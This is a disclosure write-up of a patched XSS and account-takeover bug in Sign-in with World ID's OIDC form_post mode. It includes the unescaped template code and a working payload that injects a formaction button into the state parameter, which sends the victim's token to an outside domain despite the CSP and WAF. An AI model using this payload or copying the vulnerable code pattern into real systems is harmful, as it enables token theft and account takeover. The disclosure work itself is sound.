ADVISORIES
Sign-in with World ID: XSS and ATO via OIDC Form Post Response Mode
- 4 minutes read - 691 wordsRecently, Tools for Humanity partnered with the German HackerOne Club to run a one-week virtual and in-person Hacking Meetup. In the course of the meetup, a critical vulnerability within the Sign-in with World ID implementation was found, which affected the OpenID Connect form_post
Response Mode and could allow malicious actors to take over end-user accounts at third-party applications that utilize the Sign-in with World ID mechanism. The vulnerability was addressed within a few hours after triage.
Tools for Humanity’s Sign-in with World ID implements the OpenID Connect protocol. It supports multiple response modes such as query
, fragment
, and form_post
:
response_mode
Determines how the authorization code, ID token, and/or access token are returned. Must be one of
query
,fragment
, orform_post
.query
is only supported for the authorization code flow. Defaults toquery
for authorization code flow, andfragment
for all others.
The response_mode=form_post
did not sufficiently encode and/or filter the state
parameter, resulting in Cross-Site Scripting (XSS), which was blocked by the Content Security Policy (CSP). By injecting HTML without JavaScript, it was still possible to circumvent the CSP and directly disclose end-user token
values of arbitrary applications to an attacker-controlled destination.
This is how the XSS “sink” looked like from the user agent’s perspective:
<!DOCTYPE html>
<html>
[...]
</head>
<body onload="submitForm()">
<form id="formRedirect" method="post" action="https://docs.worldcoin.org/try-callback">
<input type="hidden" name="token" value="eyJhbGciOiJS[...]" />,<input type="hidden" name="state" value="PAYLOAD" />
<[...]
</form>
</body>
</html>
The sink was discovered via a black box approach, it was trivially possible to escape the value attribute. This was caused by the following code snippet:
[...]
} else if (parsedParams.response_mode === OIDCResponseMode.FormPost) {
const formHtml = `
<!DOCTYPE html>
<html>
<head>
<script>
function submitForm() {
document.getElementById("formRedirect").submit();
}
</script>
</head>
<body onload="submitForm()">
<form id="formRedirect" method="post" action="${url}">
${Array.from(result.url_params.entries()).map(
([key, value]) =>
`<input type="hidden" name="${key}" value="${value}" />`
)}
<noscript>
<button type="submit">Submit</button>
</noscript>
</form>
</body>
</html>
`;
return new NextResponse(formHtml, {
headers: { "Content-Type": "text/html; charset=utf-8" },
});
}
[...]
Exploitation: Bypassing WAF and CSP
The affected endpoint has a quite strict CSP in place and was additionally protected using a Web Application Firewall (WAF).
Thus, straightforward XSS payloads did not work to disclose the sensitive code
(in authorization_code
response type) or id_token
/access_token
(in token
or id_token
response type).
This limitation could be bypassed by hijacking the HTML form that was already in place for the form_post
response mode, by injecting a button with a formaction
attribute that overwrites the legitimate action of the HTML form:
formaction
The URL that processes the information submitted by the button. Overrides the action attribute of the button’s form owner. Does nothing if there is no form owner.
(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button?retiredLocale=de#formaction)
This lets us build the following attack chain.
As a victim user, browse
https://id.worldcoin.org/login?client_id=app_8ad4dd04557f8b768243904bf76d8db0&response_type=token&redirect_uri=https://lhq.at&scope=openid&state="><input+type=submit+value=Click!+formaction=//lauritz-holtmann.de>&nonce=test6&ready=test&response_mode=form_post
Scan the QR code and confirm flow via the World App.
Within the browser session (see step 1.) there is a redirect to the following HTML form:
HTTP/2 200 OK
Date: Wed, 22 May 2024 14:35:21 GMT
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-be795666-8d17-4054-bb9a-1309578933a5' 'strict-dynamic'; font-src 'self' https://world-id-assets.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; connect-src 'self' https://app.posthog.com https://docs.worldcoin.org https://status.worldcoin.org https://bridge.worldcoin.org https://developer.worldcoin.org; img-src 'self' https://worldcoin.org https://world-id-assets.com
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
<!DOCTYPE html>
<html>
<head>
<script>
function submitForm() {
document.getElementById("formRedirect").submit();
}
</script>
</head>
<body onload="submitForm()">
<form id="formRedirect" method="post" action="https://docs.worldcoin.org/try-callback">
<input type="hidden" name="token" value="eyJhbGciOiJS[...]" />,
<input type="hidden" name="state" value=""><input type=submit value=Click! formaction=//lauritz-holtmann.de>" />
<noscript>
<button type="submit">Submit</button>
</noscript>
</form>
</body>
</html>
Click the injected button:
Observe the POST request to my domain including the end-user’s
token
:
Impact
The described vulnerability potentially allowed malicious actors to obtain sensitive OIDC tokens that allow them to take over end-user accounts at relying parties that use the “Sign-in with World ID” mechanism.
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter, or LinkedIn. 👨💻
I would like to especially thank Ian and Juan, and Austin of Tools for Humanity for their continuous support throughout and after the meetup!
If you are interested in current research about SSO protocols, my recent post “POST to XSS: Leveraging Pseudo Protocols to Gain JavaScript Evaluation in SSO Flows ”, which sheds light on an under-researched area of protocol-level XSS issues, may be of interest for you. 🙂